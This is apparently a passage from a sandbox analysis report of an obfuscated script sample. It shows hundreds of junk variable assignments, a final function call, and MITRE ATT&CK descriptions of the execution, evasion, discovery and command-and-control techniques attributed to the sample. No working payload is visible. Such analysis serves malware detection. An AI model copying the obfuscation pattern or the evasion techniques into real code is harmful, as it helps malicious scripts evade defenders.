530	bjqqkv = "N";
531	bjqqkv = "d";
532	bjqqkv = "r";
533	bjqqkv = "z";
534	bjqqkv = "p";
535	bjqqkv = "d";
536	bjqqkv = "v";
537	bjqqkv = "z";
538	bjqqkv = "w";
539	bjqqkv = "c";
540	bjqqkv = "Y";
541	bjqqkv = "L";
542	bjqqkv = "s";
543	bjqqkv = "X";
544	bjqqkv = "v";
545	bjqqkv = "U";
546	bjqqkv = "Q";
547	bjqqkv = "i";
548	bjqqkv = "c";
549	bjqqkv = "S";
550	bjqqkv = "I";
551	bjqqkv = "i";
552	bjqqkv = "x";
553	bjqqkv = "a";
554	bjqqkv = "v";
555	bjqqkv = "j";
556	bjqqkv = "Z";
557	bjqqkv = "r";
558	bjqqkv = "V";
559	bjqqkv = "i";
560	bjqqkv = "d";
561	bjqqkv = "H";
562	bjqqkv = "W";
563	blxxjdj = "j";
564	blxxjdj = "C";
565	blxxjdj = "p";
566	blxxjdj = "W";
567	blxxjdj = "Z";
568	blxxjdj = "i";
569	blxxjdj = "B";
570	blxxjdj = "L";
571	blxxjdj = "c";
572	blxxjdj = "U";
573	blxxjdj = "O";
574	blxxjdj = "u";
575	blxxjdj = "L";
576	blxxjdj = "y";
577	blxxjdj = "p";
578	blxxjdj = "M";
579	blxxjdj = "J";
580	blxxjdj = "l";
581	blxxjdj = "Q";
582	blxxjdj = "d";
583	blxxjdj = "F";
584	blxxjdj = "w";
585	blxxjdj = "H";
586	blxxjdj = "i";
587	blxxjdj = "e";
588	blxxjdj = "I";
589	blxxjdj = "Y";
590	blxxjdj = "k";
591	blxxjdj = "n";
592	blxxjdj = "E";
593	blxxjdj = "l";
594	blxxjdj = "K";
595	blxxjdj = "k";
596	blxxjdj = "z";
597	blxxjdj = "d";
598	blxxjdj = "p";
599	blxxjdj = "L";
600	blxxjdj = "F";
601	blxxjdj = "s";
602	blxxjdj = "E";
603	blxxjdj = "i";
604	olsvh = "n";
605	olsvh = "7";
606	cufbwiwee = "Y";
607	cufbwiwee = "c";
608	cufbwiwee = "k";
609	cufbwiwee = "m";
610	cufbwiwee = "k";
611	cufbwiwee = "x";
612	cufbwiwee = "y";
613	cufbwiwee = "H";
614	nzrwlc = "G";
615	nzrwlc = "n";
616	nzrwlc = "D";
617	nzrwlc = "Y";
618	nzrwlc = "c";
619	nzrwlc = "A";
620	nzrwlc = "L";
621	nzrwlc = "e";
622	nzrwlc = "Y";
623	nzrwlc = "F";
624	nzrwlc = "Q";
625	nzrwlc = "f";
626	nzrwlc = "u";
627	nzrwlc = "A";
628	nzrwlc = "P";
629	nzrwlc = "k";
630	nzrwlc = "I";
631	nzrwlc = "u";
632	nzrwlc = "W";
633	nzrwlc = "t";
634	nzrwlc = "J";
635	nzrwlc = "w";
636	nzrwlc = "z";
637	nzrwlc = "L";
638	nzrwlc = "S";
639	nzrwlc = "p";
640	nzrwlc = "M";
641	nzrwlc = "L";
642	nzrwlc = "D";
643	nzrwlc = "N";
644	nzrwlc = "e";
645	nzrwlc = "p";
646	nzrwlc = "Q";
647	nzrwlc = "t";
648	nzrwlc = "X";
649	nzrwlc = "i";
650	nzrwlc = "k";
651	nzrwlc = "Y";
652	nzrwlc = "C";
653	nzrwlc = "y";
654	nzrwlc = "t";
655	nzrwlc = "y";
656	nzrwlc = "C";
657	nzrwlc = "I";
658	qgiiqss = "I";
659	qgiiqss = "V";
660	qgiiqss = "w";
661	qgiiqss = "E";
662	qgiiqss = "A";
663	qgiiqss = "P";
664	qgiiqss = "q";
665	qgiiqss = "c";
666	qgiiqss = "K";
667	qgiiqss = "e";
668	qgiiqss = "e";
669	qgiiqss = "t";
670	qgiiqss = "V";
671	qgiiqss = "u";
672	qgiiqss = "x";
673	qgiiqss = "b";
674	qgiiqss = "I";
675	qgiiqss = "X";
676	qgiiqss = "b";
677	qgiiqss = "v";
678	qgiiqss = "K";
679	qgiiqss = "X";
680	qgiiqss = "l";
681	qgiiqss = "Z";
682	qgiiqss = "t";
683	qgiiqss = "X";
684	qgiiqss = "x";
685	qgiiqss = "g";
686	qgiiqss = "A";
687	qgiiqss = "t";
688	qgiiqss = "l";
689	qgiiqss = "x";
690	gtiurekcn = "M";
691	gtiurekcn = "M";
692	gtiurekcn = "p";
693	gtiurekcn = "R";
694	gtiurekcn = "y";
695	gtiurekcn = "e";
696	gtiurekcn = "c";
697	gtiurekcn = "S";
698	gtiurekcn = "V";
699	gtiurekcn = "n";
700	gtiurekcn = "Y";
701	gtiurekcn = "F";
702	gtiurekcn = "N";
703	gtiurekcn = "Q";
704	gtiurekcn = "s";
705	gtiurekcn = "A";
706	gtiurekcn = "E";
707	gtiurekcn = "y";
708	gtiurekcn = "p";
709	gtiurekcn = "z";
710	gtiurekcn = "I";
711	gtiurekcn = "8";
712	ahmhjjw = "s";
713	ahmhjjw = "l";
714	ahmhjjw = "e";
715	ahmhjjw = "P";
716	ahmhjjw = "C";
717	ahmhjjw = "w";
718	ahmhjjw = "e";
719	ahmhjjw = "m";
720	ahmhjjw = "T";
721	ahmhjjw = "R";
722	ahmhjjw = "I";
723	ahmhjjw = "N";
724	ahmhjjw = "X";
725	ahmhjjw = "U";
726	ahmhjjw = "O";
727	ahmhjjw = "e";
728	ahmhjjw = "S";
729	ahmhjjw = "l";
730	ahmhjjw = "y";
731	ahmhjjw = "2";
732	bdsubr = "k";
733	bdsubr = "v";
734	bdsubr = "g";
735	bdsubr = "h";
736	bdsubr = "S";
737	bdsubr = "B";
738	bdsubr = "A";
739	bdsubr = "C";
740	bdsubr = "H";
741	bdsubr = "d";
742	bdsubr = "P";
743	bdsubr = "J";
744	bdsubr = "b";
745	bdsubr = "R";
746	bdsubr = "C";
747	bdsubr = "O";
748	bdsubr = "L";
749	bdsubr = "S";
750	bdsubr = "q";
751	bdsubr = "d";
752	gxjun = "j";
753	gxjun = "S";
754	gxjun = "v";
755	gxjun = "D";
756	gxjun = "L";
757	gxjun = "t";
758	gxjun = "q";
759	gxjun = "U";
760	gxjun = "L";
761	gxjun = "V";
762	gxjun = "D";
763	gxjun = "O";
764	gxjun = "K";
765	gxjun = "R";
766	gxjun = "c";
767	gxjun = "m";
768	gxjun = "t";
769	gxjun = "W";
770	gxjun = "v";
771	gxjun = "d";
772	gxjun = "M";
773	gxjun = "v";
774	gxjun = "o";
775	gxjun = "a";
776	gxjun = "U";
777	gxjun = "K";
778	gxjun = "Z";
779	gxjun = "H";
780	gxjun = "Q";
781	gxjun = "n";
782	gxjun = "a";
783	gxjun = "p";
784	gxjun = "G";
785	gxjun = "P";
786	gxjun = "h";
787	gxjun = "P";
788	gxjun = "j";
789	vowhoda = "T";
790	vowhoda = "m";
791	vowhoda = "n";
792	vowhoda = "v";
793	vowhoda = "M";
794	vowhoda = "s";
795	vowhoda = "L";
796	vowhoda = "g";
797	vowhoda = "B";
798	vowhoda = "g";
799	vowhoda = "t";
800	vowhoda = "L";
801	vowhoda = "p";
802	vowhoda = "t";
803	vowhoda = "C";
804	vowhoda = "H";
805	vowhoda = "l";
806	vowhoda = "l";
807	vowhoda = "K";
808	vowhoda = "Q";
809	vowhoda = "G";
810	vowhoda = "k";
811	vowhoda = "M";
812	vowhoda = "P";
813	vowhoda = "G";
814	vowhoda = "y";
815	vowhoda = "v";
816	vowhoda = "w";
817	vowhoda = "a";
818	vowhoda = "t";
819	vowhoda = "Z";
820	vowhoda = "J";
821	vowhoda = "T";
822	zzmos = "K";
823	zzmos = "Z";
824	zzmos = "B";
825	zzmos = "E";
826	zzmos = "b";
827	zzmos = "l";
828	zzmos = "T";
829	zzmos = "G";
830	zzmos = "e";
831	zzmos = "t";
832	zzmos = "E";
833	zzmos = ":";
834	jkxthnp = "d";
835	jkxthnp = "O";
836	jkxthnp = "Z";
837	jkxthnp = "X";
838	jkxthnp = "c";
839	jkxthnp = "q";
840	wxvif = "K";
841	wxvif = "y";
842	wxvif = "y";
843	wxvif = "B";
844	wxvif = "E";
845	hbdznbpxr = "S";
846	wtdeos = "g";
847	wtdeos = "P";
848	wtdeos = "\"";
849	qzrdp = "z";
850	qzrdp = "Q";
851	qzrdp = "y";
852	qzrdp = "X";
853	qzrdp = "d";
854	qzrdp = "M";
855	qzrdp = "a";
856	qzrdp = "x";
857	qzrdp = "S";
858	qzrdp = "u";
859	qzrdp = "m";
860	qzrdp = "N";
861	qzrdp = "v";
862	qzrdp = "M";
863	qzrdp = "W";
864	qzrdp = "_";
865	dewkehvkk = "d";
866	dewkehvkk = "v";
867	dewkehvkk = "V";
868	dewkehvkk = "R";
869	dewkehvkk = "Y";
870	dewkehvkk = "x";
871	dewkehvkk = "R";
872	dewkehvkk = "C";
873	dewkehvkk = "r";
874	dewkehvkk = "x";
875	dewkehvkk = "I";
876	dewkehvkk = "Q";
877	dewkehvkk = "X";
878	dewkehvkk = "f";
879	dewkehvkk = "O";
880	dewkehvkk = "K";
881	dewkehvkk = "m";
882	dewkehvkk = "y";
883	dewkehvkk = "f";
884	dewkehvkk = "Z";
885	dewkehvkk = "i";
886	dewkehvkk = "o";
887	dewkehvkk = "z";
888	dewkehvkk = "K";
889	dewkehvkk = "x";
890	dewkehvkk = "h";
891	dewkehvkk = "Q";
892	dewkehvkk = "G";
893	dewkehvkk = "w";
894	dewkehvkk = "D";
895	dewkehvkk = "N";
896	dewkehvkk = "n";
897	dewkehvkk = "G";
898	dewkehvkk = "A";
899	dewkehvkk = "t";
900	dewkehvkk = "d";
901	dewkehvkk = "t";
902	dewkehvkk = "A";
903	dewkehvkk = "R";
904	dewkehvkk = "x";
905	dewkehvkk = "y";
906	dewkehvkk = "Y";
907	xrbacht = "n";
908	xrbacht = "I";
909	xrbacht = "s";
910	xrbacht = "N";
911	xrbacht = "h";
912	xrbacht = "V";
913	xrbacht = "X";
914	xrbacht = "w";
915	xrbacht = "c";
916	xrbacht = "u";
917	xrbacht = "R";
918	xrbacht = "v";
919	xrbacht = "h";
920	xrbacht = "o";
921	xrbacht = "X";
922	xrbacht = "a";
923	xrbacht = "S";
924	xrbacht = "A";
925	xrbacht = "X";
926	xrbacht = "N";
927	xrbacht = "B";
928	xrbacht = "G";
929	xrbacht = "Q";
930	xdbhwfe = "4";
931	cypdaydlr = "n";
932	cypdaydlr = "e";
933	cypdaydlr = "b";
934	cypdaydlr = "a";
935	cypdaydlr = "V";
936	cypdaydlr = "k";
937	cypdaydlr = "q";
938	cypdaydlr = "k";
939	cypdaydlr = "O";
940	cypdaydlr = "L";
941	cypdaydlr = "v";
942	cypdaydlr = "m";
943	cypdaydlr = "q";
944	cypdaydlr = "N";
945	cypdaydlr = "r";
946	cypdaydlr = "K";
947	cypdaydlr = "V";
948	cypdaydlr = "P";
949	cypdaydlr = "C";
950	cypdaydlr = "f";
951	gynrnxk = " ";
952	qqrdwkrrd = "M";
953	qqrdwkrrd = "h";
954	qqrdwkrrd = "u";
955	qqrdwkrrd = "d";
956	qqrdwkrrd = "V";
957	qqrdwkrrd = "g";
958	qqrdwkrrd = "U";
959	qqrdwkrrd = "Z";
960	qqrdwkrrd = "N";
961	qqrdwkrrd = "A";
962	qqrdwkrrd = "Y";
963	qqrdwkrrd = "I";
964	qqrdwkrrd = "j";
965	qqrdwkrrd = "Z";
966	qqrdwkrrd = "y";
967	qqrdwkrrd = "P";
968	qqrdwkrrd = "j";
969	qqrdwkrrd = "r";
970	qqrdwkrrd = "u";
971	qqrdwkrrd = "G";
972	qqrdwkrrd = "u";
973	qqrdwkrrd = "G";
974	qqrdwkrrd = "R";
975	qqrdwkrrd = "j";
976	qqrdwkrrd = "H";
977	qqrdwkrrd = "q";
978	qqrdwkrrd = "B";
979	qqrdwkrrd = "i";
980	qqrdwkrrd = "C";
981	qqrdwkrrd = "D";
982	qqrdwkrrd = "I";
983	qqrdwkrrd = "E";
984	qqrdwkrrd = "H";
985	qqrdwkrrd = "i";
986	qqrdwkrrd = "S";
987	qqrdwkrrd = "Z";
988	qqrdwkrrd = "n";
989	vmkoqxmol = "h";
990	vmkoqxmol = "s";
991	vmkoqxmol = "l";
992	vmkoqxmol = "M";
993	vmkoqxmol = "U";
994	vmkoqxmol = "y";
995	vmkoqxmol = "s";
996	vmkoqxmol = "D";
997	vmkoqxmol = "B";
998	vmkoqxmol = "i";
999	vmkoqxmol = "D";
1000	vmkoqxmol = "t";
1001	vmkoqxmol = "N";
1002	vmkoqxmol = "n";
1003	vmkoqxmol = "g";
1004	vmkoqxmol = "c";
1005	vmkoqxmol = "o";
1006	vmkoqxmol = "Z";
1007	vmkoqxmol = "T";
1008	vmkoqxmol = "J";
1009	vmkoqxmol = "N";
1010	vmkoqxmol = "M";
1011	vmkoqxmol = "S";
1012	vmkoqxmol = "i";
1013	vmkoqxmol = "T";
1014	vmkoqxmol = "f";
1015	vmkoqxmol = "g";
1016	vmkoqxmol = "j";
1017	vmkoqxmol = "F";
1018	vmkoqxmol = "B";
1019	vmkoqxmol = "D";
1020	vmkoqxmol = "j";
1021	vmkoqxmol = "q";
1022	vmkoqxmol = "H";
1023	vmkoqxmol = "G";
1024	vmkoqxmol = "p";
1025	vmkoqxmol = "1";
1026	pygbd = "H";
1027	pygbd = "u";
1028	pygbd = "B";
1029	pygbd = "w";
1030	pygbd = "j";
1031	pygbd = "O";
1032	pygbd = "d";
1033	pygbd = "E";
1034	pygbd = "N";
1035	pygbd = "s";
1036	pygbd = "k";
1037	pygbd = "s";
1038	edcstqy = "C";
1039	edcstqy = "B";
1040	edcstqy = "i";
1041	edcstqy = "s";
1042	edcstqy = "W";
1043	edcstqy = "w";
1044	edcstqy = "A";
1045	edcstqy = "O";
1046	edcstqy = "J";
1047	edcstqy = "E";
1048	edcstqy = "Z";
1049	edcstqy = "t";
1050	dvcenrai = "I";
1051	dvcenrai = "k";
1052	dvcenrai = "N";
1053	dvcenrai = "Y";
1054	dvcenrai = "E";
1055	dvcenrai = "x";
1056	dvcenrai = "Z";
1057	dvcenrai = "L";
1058	dvcenrai = "S";
1059	dvcenrai = ".";
1060	fgeukbb = "h";
1061	fgeukbb = "Y";
1062	fgeukbb = "P";
1063	fgeukbb = "T";
1064	fgeukbb = "f";
1065	fgeukbb = "b";
1066	fgeukbb = "G";
1067	fgeukbb = "m";
1068	fgeukbb = "x";
1069	fgeukbb = "L";
1070	fgeukbb = "U";
1071	fgeukbb = "b";
1072	fgeukbb = "P";
1073	fgeukbb = "p";
1074	fgeukbb = "v";
1075	fgeukbb = "A";
1076	fgeukbb = "M";
1077	fgeukbb = "g";
1078	fgeukbb = "b";
1079	fgeukbb = "Z";
1080	fgeukbb = "w";
1081	fgeukbb = "f";
1082	fgeukbb = "A";
1083	fgeukbb = "Y";
1084	fgeukbb = "N";
1085	fgeukbb = "M";
1086	fgeukbb = "e";
1087	fgeukbb = "S";
1088	fgeukbb = "s";
1089	fgeukbb = "f";
1090	fgeukbb = "r";
1091	fgeukbb = "d";
1092	fgeukbb = "d";
1093	fgeukbb = "m";
1094	fgeukbb = "B";
1095	fgeukbb = "h";
1096	fgeukbb = "a";
1097	fgeukbb = "n";
1098	fgeukbb = "u";
1099	fgeukbb = "@";
1100	lajhgmlaa = "r";
1101	lajhgmlaa = "u";
1102	lajhgmlaa = "p";
1103	lajhgmlaa = "k";
1104	lajhgmlaa = "j";
1105	lajhgmlaa = "k";
1106	lajhgmlaa = "I";
1107	lajhgmlaa = "o";
1108	lajhgmlaa = "H";
1109	lajhgmlaa = "f";
1110	lajhgmlaa = "X";
1111	lajhgmlaa = "s";
1112	lajhgmlaa = "f";
1113	lajhgmlaa = "g";
1114	lajhgmlaa = "O";
1115	lajhgmlaa = "J";
1116	lajhgmlaa = "T";
1117	lajhgmlaa = "E";
1118	lajhgmlaa = "k";
1119	lajhgmlaa = "T";
1120	lajhgmlaa = "O";
1121	lajhgmlaa = "r";
1122	lajhgmlaa = "m";
1123	lajhgmlaa = "O";
1124	lajhgmlaa = "0";
1125	pxodxx = "t";
1126	pxodxx = "F";
1127	pxodxx = "Q";
1128	pxodxx = "d";
1129	pxodxx = "j";
1130	pxodxx = "R";
1131	pxodxx = "i";
1132	pxodxx = "e";
1133	pxodxx = "r";
1134	pxodxx = "b";
1135	pxodxx = "g";
1136	pxodxx = "p";
1137	pxodxx = "A";
1138	pxodxx = "X";
1139	pxodxx = "V";
1140	pxodxx = "S";
1141	pxodxx = "N";
1142	pxodxx = "w";
1143	pxodxx = "W";
1144	pxodxx = "z";
1145	pxodxx = "b";
1146	pxodxx = "Y";
1147	pxodxx = "U";
1148	pxodxx = "E";
1149	pxodxx = "p";
1150	pxodxx = "h";
1151	pxodxx = "l";
1152	pxodxx = "U";
1153	byvqcnxh = "Z";
1154	byvqcnxh = "P";
1155	byvqcnxh = "R";
1156	byvqcnxh = "M";
1157	byvqcnxh = "A";
1158	byvqcnxh = "s";
1159	byvqcnxh = "W";
1160	byvqcnxh = "R";
1161	byvqcnxh = "K";
1162	ywxvza = "-";
1163	veiqzhha = "X";
1164	veiqzhha = "O";
1165	veiqzhha = "B";
1166	veiqzhha = "M";
1167	veiqzhha = "M";
1168	veiqzhha = "G";
1169	veiqzhha = "V";
1170	veiqzhha = "b";
1171	veiqzhha = "u";
1172	veiqzhha = "g";
1173	veiqzhha = "e";
1174	veiqzhha = "j";
1175	veiqzhha = "E";
1176	veiqzhha = "l";
1177	veiqzhha = "I";
1178	veiqzhha = "C";
1179	veiqzhha = "h";
1180	veiqzhha = "b";
1181	veiqzhha = "B";
1182	veiqzhha = "C";
1183	veiqzhha = "t";
1184	veiqzhha = "N";
1185	ebgzr = "u";
1186	ebgzr = "w";
1187	ebgzr = "C";
1188	ebgzr = "G";
1189	ebgzr = "K";
1190	ebgzr = "d";
1191	ebgzr = "o";
1192	ebgzr = "S";
1193	ebgzr = "s";
1194	ebgzr = "R";
1195	ebgzr = "j";
1196	ebgzr = "l";
1197	ebgzr = "n";
1198	ebgzr = "k";
1199	ebgzr = "t";
1200	ebgzr = "J";
1201	ebgzr = "W";
1202	ebgzr = "g";
1203	ebgzr = "p";
1204	ebgzr = "E";
1205	ebgzr = "a";
1206	rntgtzxx = "w";
1207	rntgtzxx = "d";
1208	rntgtzxx = "C";
1209	rntgtzxx = "K";
1210	rntgtzxx = "a";
1211	rntgtzxx = "y";
1212	rntgtzxx = "U";
1213	rntgtzxx = "N";
1214	rntgtzxx = "C";
1215	rntgtzxx = "Y";
1216	rntgtzxx = "b";
1217	rntgtzxx = "M";
1218	rntgtzxx = "o";
1219	rntgtzxx = "L";
1220	rntgtzxx = "x";
1221	rntgtzxx = "X";
1222	rntgtzxx = "J";
1223	rntgtzxx = "/";
1224	rfntrou = "b";
1225	rfntrou = "g";
1226	rfntrou = "s";
1227	rfntrou = "S";
1228	rfntrou = "C";
1229	rfntrou = "m";
1230	rfntrou = "P";
1231	rfntrou = "p";
1232	rfntrou = "Q";
1233	rfntrou = "L";
1234	rfntrou = "Z";
1235	rfntrou = "S";
1236	rfntrou = "C";
1237	rfntrou = "u";
1238	rfntrou = "j";
1239	rfntrou = "k";
1240	kvjeqq = "s";
1241	kvjeqq = "O";
1242	kvjeqq = "o";
1243	kvjeqq = "U";
1244	kvjeqq = "B";
1245	kvjeqq = "z";
1246	kvjeqq = "l";
1247	kvjeqq = "T";
1248	kvjeqq = "k";
1249	kvjeqq = "O";
1250	kvjeqq = "Q";
1251	kvjeqq = "F";
1252	kvjeqq = "t";
1253	kvjeqq = "Q";
1254	kvjeqq = "H";
1255	kvjeqq = "N";
1256	kvjeqq = "X";
1257	kvjeqq = "A";
1258	kvjeqq = "m";
1259	kvjeqq = "t";
1260	kvjeqq = "K";
1261	kvjeqq = "C";
1262	kvjeqq = "&";
1263	pmldg = "H";
1264	pmldg = "l";
1265	pmldg = "U";
1266	pmldg = "S";
1267	pmldg = "K";
1268	pmldg = "W";
1269	pmldg = "B";
1270	pmldg = "t";
1271	pmldg = "y";
1272	pmldg = "a";
1273	pmldg = "o";
1274	pmldg = "j";
1275	pmldg = "c";
1276	pmldg = "x";
1277	pmldg = "m";
1278	oxsqd = "b";
1279	oxsqd = "f";
1280	oxsqd = "j";
1281	oxsqd = "H";
1282	oxsqd = "a";
1283	oxsqd = "q";
1284	oxsqd = "y";
1285	oxsqd = "D";
1286	oxsqd = "D";
1287	oxsqd = "x";
1288	oxsqd = "K";
1289	oxsqd = "D";
1290	oxsqd = "B";
1291	oxsqd = "K";
1292	oxsqd = "C";
1293	oxsqd = "f";
1294	oxsqd = "B";
1295	oxsqd = "i";
1296	oxsqd = "S";
1297	oxsqd = "C";
1298	oxsqd = "F";
1299	vydsprhzq = "e";
1300	vydsprhzq = "p";
1301	vydsprhzq = "Y";
1302	vydsprhzq = "t";
1303	vydsprhzq = "d";
1304	vydsprhzq = "b";
1305	vydsprhzq = "k";
1306	vydsprhzq = "k";
1307	vydsprhzq = "C";
1308	vydsprhzq = "q";
1309	vydsprhzq = "j";
1310	vydsprhzq = "N";
1311	vydsprhzq = "d";
1312	vydsprhzq = "Y";
1313	vydsprhzq = "G";
1314	vydsprhzq = "O";
1315	vydsprhzq = "p";
1316	vydsprhzq = "A";
1317	vydsprhzq = "E";
1318	vydsprhzq = "G";
1319	vydsprhzq = "o";
1320	vydsprhzq = "H";
1321	vydsprhzq = "E";
1322	vydsprhzq = "w";
1323	vydsprhzq = "v";
1324	vydsprhzq = "D";
1325	vydsprhzq = "c";
1326	vydsprhzq = "K";
1327	vydsprhzq = "r";
1328	vydsprhzq = "U";
1329	vydsprhzq = "z";
1330	vydsprhzq = "f";
1331	vydsprhzq = "E";
1332	vydsprhzq = "d";
1333	vydsprhzq = "l";
1334	dgkqupigo ( );	dgkqupigo() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
